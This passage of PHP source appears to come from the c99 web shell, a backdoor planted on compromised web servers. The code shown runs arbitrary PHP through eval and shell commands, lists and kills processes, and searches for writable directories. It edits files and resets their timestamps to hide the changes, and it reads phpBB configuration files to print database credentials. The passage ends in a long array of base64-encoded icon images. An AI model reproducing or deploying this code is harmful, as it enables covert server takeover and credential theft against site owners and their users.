    ";} } elseif ($fsfunc=='mkdir') { $thedir = $d.$arg1; if ($thedir != $d) { if (file_exists($thedir)) { echo "Already exists: ".htmlspecialchars($thedir); } elseif (!mkdir($thedir)) { echo "Access denied: ".htmlspecialchars($thedir); } else { echo "Dir created: ".htmlspecialchars($thedir);} } else { echo "Couldn't create current dir: $thedir"; } } elseif ($fsfunc=='fwritabledir') { function recurse_dir($dir,$max_dir) { global $dir_count; $dir_count++; if( $cdir = @dir($dir) ) { while( $entry = $cdir-> read() ) { if( $entry != '.' && $entry != '..' ) { if(is_dir($dir.$entry) && is_writable($dir.$entry) ) { if ($dir_count > $max_dir) { return; } echo "[".$dir_count."] ".$dir.$entry."\n"; recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir); } } } $cdir->close(); } } if (!$arg1) { $arg1 = $d; } if (!$arg2) { $arg2 = 10; } echo "Writable directories (Max: $arg2) in: $arg1
    "; echo "
    ";
        recurse_dir($arg1,$arg2);
        echo "
    "; $total = $dir_count - 1; echo "Founds: ".$total." of Max $arg2"; } else { if (!$arg1) { echo "
    No operation! Please fill parameter [A]!
    \n"; } else { if ($hasil = $fsfunc($arg1)) { echo "Result of $fsfunc $arg1:
    "; if (!is_array($hasil)) { echo "$hasil\n"; } else { echo "
    ";
              foreach ($hasil as $v) { echo $v."\n"; }
              echo "
    "; } } else { echo "
    $fsfunc $arg1 failed!
    \n"; } } } echo "
    \n"; } if ($act == "processes") { echo "
    .: Processes :.
    "; if (!$win) { $handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":""); } else { $handler = "tasklist"; } $ret = myshellexec($handler); if (!$ret) { echo "Can't execute \"".$handler."\"!"; } else { if (empty($processes_sort)) {$processes_sort = $sort_default;} $parsesort = parsesort($processes_sort); if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} $k = $parsesort[0]; if ($parsesort[1] != "a") { $y = ""; } else { $y = ""; } $ret = htmlspecialchars($ret); if (!$win) { if ($pid) { if (is_null($sig)) {$sig = 9;} echo "Sending signal ".$sig." to #".$pid."... "; if (posix_kill($pid,$sig)) {echo "OK.";} else {echo "ERROR.";} } while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} $stack = explode("\n",$ret); $head = explode(" ",$stack[0]); unset($stack[0]); for($i=0;$i".$head[$i]."";} } $prcs = array(); foreach ($stack as $line) { if (!empty($line)) { echo ""; $line = explode(" ",$line); $line[10] = join(" ",array_slice($line,10)); $line = array_slice($line,0,11); if ($line[0] == get_current_user()) {$line[0] = "".$line[0]."";} $line[] = "KILL"; $prcs[] = $line; echo ""; } } } else { while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);} $ret = convert_cyr_string($ret,"d","w"); $stack = explode("\n",$ret); unset($stack[0],$stack[2]); $stack = array_values($stack); $stack[0]=str_replace("Image Name","ImageName",$stack[0]); $stack[0]=str_replace("Session Name","SessionName",$stack[0]); $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]); $head = explode(" ",$stack[0]); $stack = array_slice($stack,1); $head = array_values($head); if ($parsesort[1] != "a") { $y = ""; } else { $y = ""; } if ($k > count($head)) {$k = count($head)-1;} for($i=0;$i".trim($head[$i]).""; } } $prcs = array(); unset($stack[0]); foreach ($stack as $line) { if (!empty($line)) { $line = explode(" ",$line); $line[4] = str_replace(".","",$line[4]); $line[4] = intval($line[4]) * 1024; unset($line[5]); $prcs[] = $line; } } } $head[$k] = "".$head[$k]."".$y; $v = $processes_sort[0]; usort($prcs,"tabsort"); if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} $tab = array(); $tab[] = $head; $tab = array_merge($tab,$prcs); echo ""; foreach($tab as $i=>$k) { echo ""; foreach($k as $j=>$v) { if ($win and $i > 0 and $j == 4) {$v = view_size($v);} echo ""; } echo ""; } echo "
    ".$v."
    "; } } if ($act == "eval") { if (!empty($eval)) { echo "Result of execution this PHP-code:
    "; $tmp = ob_get_contents(); $olddir = realpath("."); @chdir($d); if ($tmp) { ob_clean(); eval($eval); $ret = ob_get_contents(); $ret = convert_cyr_string($ret,"d","w"); ob_clean(); echo $tmp; if ($eval_txt) { $rows = count(explode("\r\n",$ret))+1; if ($rows < 10) {$rows = 10;} echo "
    "; } else {echo $ret."
    ";} } else { if ($eval_txt) { echo "
    "; } else {echo $ret;} } @chdir($olddir); } else {echo "PHP-code Execution (Use without PHP Braces!)"; if (empty($eval_txt)) {$eval_txt = TRUE;}} echo "


     Display in text-area 
    "; } if ($act == "f") { echo "
    "; if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { if (file_exists($d.$f)) {echo "
    Permision denied (".htmlspecialchars($d.$f).")!
    ";} else {echo "
    File does not exists (".htmlspecialchars($d.$f).")!
    Create
    ";} } else { $r = @file_get_contents($d.$f); $ext = explode(".",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = ""; foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} if (empty($ft)) {$ft = $rft;} $arr = array( array("","info"), array("","html"), array("","txt"), array("Code","code"), array("Session","phpsess"), array("","exe"), array("SDB","sdb"), array("","img"), array("","ini"), array("","download"), array("","notepad"), array("","edit") ); echo "Viewing file:     ".$f." (".view_size(filesize($d.$f)).")      ".view_perms_color($d.$f)."
    Select action/file-type:
    "; foreach($arr as $t) { if ($t[1] == $rft) {echo " ".$t[0]."";} elseif ($t[1] == $ft) {echo " ".$t[0]."";} else {echo " ".$t[0]."";} echo " (+) |"; } echo "
    "; if ($ft == "info") { echo "Information:"; if (!$win) { echo "
    Path ".$d.$f."
    Size ".view_size(filesize($d.$f))."
    MD5 ".md5_file($d.$f)."
    Owner/Group "; $ow = posix_getpwuid(fileowner($d.$f)); $gr = posix_getgrgid(filegroup($d.$f)); echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); } echo "
    Perms".view_perms_color($d.$f)."
    Create time ".date("d/m/Y H:i:s",filectime($d.$f))."
    Access time ".date("d/m/Y H:i:s",fileatime($d.$f))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
    "; $fi = fopen($d.$f,"rb"); if ($fi) { if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f));} else {echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} $n = 0; $a0 = "00000000
    "; $a1 = ""; $a2 = ""; for ($i=0; $i";} $a1 .= "
    "; $a2 .= "
    "; } } echo "". "". "". "". "
    ".$a0."".$a1."".$a2."

    "; } $encoded = ""; if ($base64 == 1) { echo "Base64 Encode
    "; $encoded = base64_encode(file_get_contents($d.$f)); } elseif($base64 == 2) { echo "Base64 Encode + Chunk
    "; $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); } elseif($base64 == 3) { echo "Base64 Encode + Chunk + Quotes
    "; $encoded = base64_encode(file_get_contents($d.$f)); $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); } elseif($base64 == 4) { $text = file_get_contents($d.$f); $encoded = base64_decode($text); echo "Base64 Decode"; if (base64_encode($encoded) != $text) {echo " (failed)";} echo "
    "; } if (!empty($encoded)) { echo "

    "; } echo "HEXDUMP: [Full] [Preview]
    Base64:
    [Encode [+chunk [+chunk+quotes [Decode

    "; } elseif ($ft == "html") { if ($white) {@ob_clean();} echo $r; if ($white) {c99shexit();} } elseif ($ft == "txt") {echo "

    ".htmlspecialchars($r)."
    ";} elseif ($ft == "ini") {echo "
    "; var_dump(parse_ini_file($d.$f,TRUE)); echo "
    ";} elseif ($ft == "phpsess") { echo "
    ";
       $v = explode("|",$r);
       echo $v[0]."
    "; var_dump(unserialize($v[1])); echo "
    "; } elseif ($ft == "exe") { $ext = explode(".",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = ""; foreach($exeftypes as $k=>$v) { if (in_array($ext,$v)) {$rft = $k; break;} } $cmd = str_replace("%f%",$f,$rft); echo "Execute file:

    Display in text-area
    "; } elseif ($ft == "sdb") {echo "
    "; var_dump(unserialize(base64_decode($r))); echo "
    ";} elseif ($ft == "code") { if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) { $arr = explode("\n",$r); if (count($arr == 18)) { include($d.$f); echo "phpBB configuration is detected in this file!
    "; if ($dbms == "mysql4") {$dbms = "mysql";} if ($dbms == "mysql") {echo "Connect to DB

    ";} else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";} echo "Parameters for manual connect:
    "; $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'
    ";} echo "

    "; } } echo "
    "; if (!empty($white)) {@ob_clean();} highlight_file($d.$f); if (!empty($white)) {c99shexit();} echo "
    "; } elseif ($ft == "download") { @ob_clean(); header("Content-type: application/octet-stream"); header("Content-length: ".filesize($d.$f)); header("Content-disposition: attachment; filename=\"".$f."\";"); echo $r; exit; } elseif ($ft == "notepad") { @ob_clean(); header("Content-type: text/plain"); header("Content-disposition: attachment; filename=\"".$f.".txt\";"); echo($r); exit; } elseif ($ft == "img") { $inf = getimagesize($d.$f); if (!$white) { if (empty($imgsize)) {$imgsize = 20;} $width = $inf[0]/100*$imgsize; $height = $inf[1]/100*$imgsize; echo "
    Size: "; $sizes = array("100","50","20"); foreach ($sizes as $v) { echo ""; if ($imgsize != $v ) {echo $v;} else {echo "".$v."";} echo "   "; } echo "

    "; } else { @ob_clean(); $ext = explode($f,"."); $ext = $ext[count($ext)-1]; header("Content-type: ".$inf["mime"]); readfile($d.$f); exit; } } elseif ($ft == "edit") { if (!empty($submit)) { if ($filestealth) {$stat = stat($d.$f);} $fp = fopen($d.$f,"w"); if (!$fp) {echo "Can't write to file!";} else { echo "Saved!"; fwrite($fp,$edit_text); fclose($fp); if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} $r = $edit_text; } } $rows = count(explode("\r\n",$r)); if ($rows < 10) {$rows = 10;} if ($rows > 30) {$rows = 30;} echo "
      
    "; } elseif (!empty($ft)) {echo "
    Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.
    ";} else {echo "
    Unknown extension (".$ext."), please, select type manually.
    ";} } echo "
    \n"; } } else { @ob_clean(); $images = array( "arrow_ltr"=> "R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", "back"=> "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". "Wg0JADs=", "buffer"=> "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", "change"=> "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". "zMshADs=", "delete"=> "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". "jwVFHBgiEGQFIgQasYkcSbJQIAA7", "download"=> "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", "forward"=> "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". "WqsJADs=", "home"=> "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", "mode"=> "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", "search"=> "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", "setup"=> "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", "small_dir"=> "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", "small_unk"=> "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". "yAsokBkQADs=", "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", "sort_asc"=> "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", "sort_desc"=> "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", "sql_button_drop"=> "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". "AQEAOw==", "sql_button_empty"=> "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", "sql_button_insert"=> "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", "up"=> "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", "write"=> "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", "ext_asp"=> "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", "ext_mp3"=> "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", "ext_avi"=> 